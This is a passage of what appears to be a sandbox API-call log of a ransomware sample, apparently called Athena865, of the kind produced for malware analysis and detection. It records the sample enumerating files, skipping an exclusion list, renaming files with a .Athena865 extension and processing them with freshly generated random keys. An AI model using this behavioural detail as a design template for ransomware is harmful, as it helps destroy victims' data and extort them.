Files\\System\\ado\\msado25.tlb.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb.athena865"), dwFlags=0x1) returned 1 [0118.355] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0118.355] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=94208) returned 1 [0118.355] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.355] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.355] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.355] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.356] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.356] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.356] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17300, lpName=0x0) returned 0x17c [0118.358] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17300) returned 0x100000 [0118.396] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.397] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.397] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.398] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.398] CloseHandle (hObject=0x17c) returned 1 [0118.398] CloseHandle (hObject=0x154) returned 1 [0118.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.399] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0118.399] lstrcmpiW (lpString1="msado26.tlb", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.399] lstrcmpiW (lpString1="msado26.tlb", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.399] lstrcmpiW (lpString1="msado26.tlb", lpString2=".") returned 1 [0118.399] lstrcmpiW (lpString1="msado26.tlb", lpString2="..") returned 1 [0118.399] lstrcmpiW (lpString1="msado26.tlb", lpString2="windows") returned -1 [0118.399] lstrcmpiW (lpString1="msado26.tlb", lpString2="bootmgr") returned 1 [0118.399] lstrcmpiW (lpString1="msado26.tlb", lpString2="temp") returned -1 [0118.400] lstrcmpiW (lpString1="msado26.tlb", lpString2="pagefile.sys") returned -1 [0118.400] lstrcmpiW (lpString1="msado26.tlb", lpString2="boot") returned 1 [0118.400] lstrcmpiW (lpString1="msado26.tlb", lpString2="ids.txt") returned 1 [0118.400] lstrcmpiW (lpString1="msado26.tlb", lpString2="ntuser.dat") returned -1 [0118.400] lstrcmpiW (lpString1="msado26.tlb", lpString2="perflogs") returned -1 [0118.400] lstrcmpiW (lpString1="msado26.tlb", lpString2="MSBuild") returned -1 [0118.400] lstrlenW (lpString="msado26.tlb") returned 11 [0118.400] lstrcpyW (in: lpString1=0x241e89a, lpString2="msado26.tlb" | out: lpString1="msado26.tlb") returned="msado26.tlb" [0118.400] lstrlenW (lpString="msado26.tlb") returned 11 [0118.400] lstrlenW (lpString="Athena865") returned 9 [0118.400] lstrcmpiW (lpString1="ado26.tlb", lpString2="Athena865") returned -1 [0118.400] lstrlenW (lpString=".dll") returned 4 [0118.400] lstrcmpiW (lpString1="msado26.tlb", lpString2=".dll") returned 1 [0118.400] lstrlenW (lpString=".lnk") returned 4 [0118.400] lstrcmpiW (lpString1="msado26.tlb", lpString2=".lnk") returned 1 [0118.400] lstrlenW (lpString=".ini") returned 4 [0118.400] lstrcmpiW (lpString1="msado26.tlb", lpString2=".ini") returned 1 [0118.400] lstrlenW (lpString=".sys") returned 4 [0118.400] lstrcmpiW (lpString1="msado26.tlb", lpString2=".sys") returned 1 [0118.400] lstrlenW (lpString="msado26.tlb") returned 11 [0118.400] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.Athena865") returned 62 [0118.400] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb.athena865"), dwFlags=0x1) returned 1 [0118.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0118.402] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=98304) returned 1 [0118.402] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.402] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.402] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.402] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.403] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.403] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.403] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18300, lpName=0x0) returned 0x17c [0118.405] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18300) returned 0x100000 [0118.409] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.410] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.410] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.410] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.410] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.410] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.410] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.410] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.411] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.412] CloseHandle (hObject=0x17c) returned 1 [0118.412] CloseHandle (hObject=0x154) returned 1 [0118.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.412] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0118.412] lstrcmpiW (lpString1="msado27.tlb", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.412] lstrcmpiW (lpString1="msado27.tlb", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.412] lstrcmpiW (lpString1="msado27.tlb", lpString2=".") returned 1 [0118.412] lstrcmpiW (lpString1="msado27.tlb", lpString2="..") returned 1 [0118.412] lstrcmpiW (lpString1="msado27.tlb", lpString2="windows") returned -1 [0118.413] lstrcmpiW (lpString1="msado27.tlb", lpString2="bootmgr") returned 1 [0118.413] lstrcmpiW (lpString1="msado27.tlb", lpString2="temp") returned -1 [0118.413] lstrcmpiW (lpString1="msado27.tlb", lpString2="pagefile.sys") returned -1 [0118.413] lstrcmpiW (lpString1="msado27.tlb", lpString2="boot") returned 1 [0118.413] lstrcmpiW (lpString1="msado27.tlb", lpString2="ids.txt") returned 1 [0118.413] lstrcmpiW (lpString1="msado27.tlb", lpString2="ntuser.dat") returned -1 [0118.413] lstrcmpiW (lpString1="msado27.tlb", lpString2="perflogs") returned -1 [0118.413] lstrcmpiW (lpString1="msado27.tlb", lpString2="MSBuild") returned -1 [0118.413] lstrlenW (lpString="msado27.tlb") returned 11 [0118.413] lstrcpyW (in: lpString1=0x241e89a, lpString2="msado27.tlb" | out: lpString1="msado27.tlb") returned="msado27.tlb" [0118.413] lstrlenW (lpString="msado27.tlb") returned 11 [0118.413] lstrlenW (lpString="Athena865") returned 9 [0118.413] lstrcmpiW (lpString1="ado27.tlb", lpString2="Athena865") returned -1 [0118.413] lstrlenW (lpString=".dll") returned 4 [0118.413] lstrcmpiW (lpString1="msado27.tlb", lpString2=".dll") returned 1 [0118.413] lstrlenW (lpString=".lnk") returned 4 [0118.413] lstrcmpiW (lpString1="msado27.tlb", lpString2=".lnk") returned 1 [0118.413] lstrlenW (lpString=".ini") returned 4 [0118.413] lstrcmpiW (lpString1="msado27.tlb", lpString2=".ini") returned 1 [0118.413] lstrlenW (lpString=".sys") returned 4 [0118.413] lstrcmpiW (lpString1="msado27.tlb", lpString2=".sys") returned 1 [0118.413] lstrlenW (lpString="msado27.tlb") returned 11 [0118.413] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.Athena865") returned 62 [0118.413] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb.athena865"), dwFlags=0x1) returned 1 [0118.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0118.415] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=98304) returned 1 [0118.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.415] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.416] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.416] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.416] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18300, lpName=0x0) returned 0x17c [0118.419] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18300) returned 0x100000 [0118.427] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.427] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.427] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.427] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.427] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.427] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.427] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.427] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.428] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.428] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.428] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.428] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.429] CloseHandle (hObject=0x17c) returned 1 [0118.429] CloseHandle (hObject=0x154) returned 1 [0118.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.430] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0118.430] lstrcmpiW (lpString1="msado28.tlb", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.430] lstrcmpiW (lpString1="msado28.tlb", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.430] lstrcmpiW (lpString1="msado28.tlb", lpString2=".") returned 1 [0118.430] lstrcmpiW (lpString1="msado28.tlb", lpString2="..") returned 1 [0118.430] lstrcmpiW (lpString1="msado28.tlb", lpString2="windows") returned -1 [0118.430] lstrcmpiW (lpString1="msado28.tlb", lpString2="bootmgr") returned 1 [0118.430] lstrcmpiW (lpString1="msado28.tlb", lpString2="temp") returned -1 [0118.430] lstrcmpiW (lpString1="msado28.tlb", lpString2="pagefile.sys") returned -1 [0118.430] lstrcmpiW (lpString1="msado28.tlb", lpString2="boot") returned 1 [0118.430] lstrcmpiW (lpString1="msado28.tlb", lpString2="ids.txt") returned 1 [0118.430] lstrcmpiW (lpString1="msado28.tlb", lpString2="ntuser.dat") returned -1 [0118.430] lstrcmpiW (lpString1="msado28.tlb", lpString2="perflogs") returned -1 [0118.430] lstrcmpiW (lpString1="msado28.tlb", lpString2="MSBuild") returned -1 [0118.430] lstrlenW (lpString="msado28.tlb") returned 11 [0118.430] lstrcpyW (in: lpString1=0x241e89a, lpString2="msado28.tlb" | out: lpString1="msado28.tlb") returned="msado28.tlb" [0118.430] lstrlenW (lpString="msado28.tlb") returned 11 [0118.430] lstrlenW (lpString="Athena865") returned 9 [0118.430] lstrcmpiW (lpString1="ado28.tlb", lpString2="Athena865") returned -1 [0118.430] lstrlenW (lpString=".dll") returned 4 [0118.430] lstrcmpiW (lpString1="msado28.tlb", lpString2=".dll") returned 1 [0118.430] lstrlenW (lpString=".lnk") returned 4 [0118.430] lstrcmpiW (lpString1="msado28.tlb", lpString2=".lnk") returned 1 [0118.430] lstrlenW (lpString=".ini") returned 4 [0118.430] lstrcmpiW (lpString1="msado28.tlb", lpString2=".ini") returned 1 [0118.430] lstrlenW (lpString=".sys") returned 4 [0118.430] lstrcmpiW (lpString1="msado28.tlb", lpString2=".sys") returned 1 [0118.431] lstrlenW (lpString="msado28.tlb") returned 11 [0118.431] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.Athena865") returned 62 [0118.431] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb.athena865"), dwFlags=0x1) returned 1 [0118.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0118.432] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=98304) returned 1 [0118.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.432] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.433] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.433] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.433] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18300, lpName=0x0) returned 0x17c [0118.434] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18300) returned 0x100000 [0118.438] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.438] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.438] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.439] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.440] CloseHandle (hObject=0x17c) returned 1 [0118.440] CloseHandle (hObject=0x154) returned 1 [0118.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.441] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0118.441] lstrcmpiW (lpString1="msadomd.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.441] lstrcmpiW (lpString1="msadomd.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.441] lstrcmpiW (lpString1="msadomd.dll", lpString2=".") returned 1 [0118.441] lstrcmpiW (lpString1="msadomd.dll", lpString2="..") returned 1 [0118.441] lstrcmpiW (lpString1="msadomd.dll", lpString2="windows") returned -1 [0118.441] lstrcmpiW (lpString1="msadomd.dll", lpString2="bootmgr") returned 1 [0118.441] lstrcmpiW (lpString1="msadomd.dll", lpString2="temp") returned -1 [0118.441] lstrcmpiW (lpString1="msadomd.dll", lpString2="pagefile.sys") returned -1 [0118.441] lstrcmpiW (lpString1="msadomd.dll", lpString2="boot") returned 1 [0118.441] lstrcmpiW (lpString1="msadomd.dll", lpString2="ids.txt") returned 1 [0118.441] lstrcmpiW (lpString1="msadomd.dll", lpString2="ntuser.dat") returned -1 [0118.441] lstrcmpiW (lpString1="msadomd.dll", lpString2="perflogs") returned -1 [0118.441] lstrcmpiW (lpString1="msadomd.dll", lpString2="MSBuild") returned -1 [0118.441] lstrlenW (lpString="msadomd.dll") returned 11 [0118.441] lstrcpyW (in: lpString1=0x241e89a, lpString2="msadomd.dll" | out: lpString1="msadomd.dll") returned="msadomd.dll" [0118.441] lstrlenW (lpString="msadomd.dll") returned 11 [0118.441] lstrlenW (lpString="Athena865") returned 9 [0118.441] lstrcmpiW (lpString1="adomd.dll", lpString2="Athena865") returned -1 [0118.441] lstrlenW (lpString=".dll") returned 4 [0118.441] lstrcmpiW (lpString1="msadomd.dll", lpString2=".dll") returned 1 [0118.442] lstrlenW (lpString=".lnk") returned 4 [0118.442] lstrcmpiW (lpString1="msadomd.dll", lpString2=".lnk") returned 1 [0118.442] lstrlenW (lpString=".ini") returned 4 [0118.442] lstrcmpiW (lpString1="msadomd.dll", lpString2=".ini") returned 1 [0118.442] lstrlenW (lpString=".sys") returned 4 [0118.442] lstrcmpiW (lpString1="msadomd.dll", lpString2=".sys") returned 1 [0118.442] lstrlenW (lpString="msadomd.dll") returned 11 [0118.442] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll.Athena865") returned 62 [0118.442] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll.athena865"), dwFlags=0x1) returned 1 [0118.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0118.443] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=466944) returned 1 [0118.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, 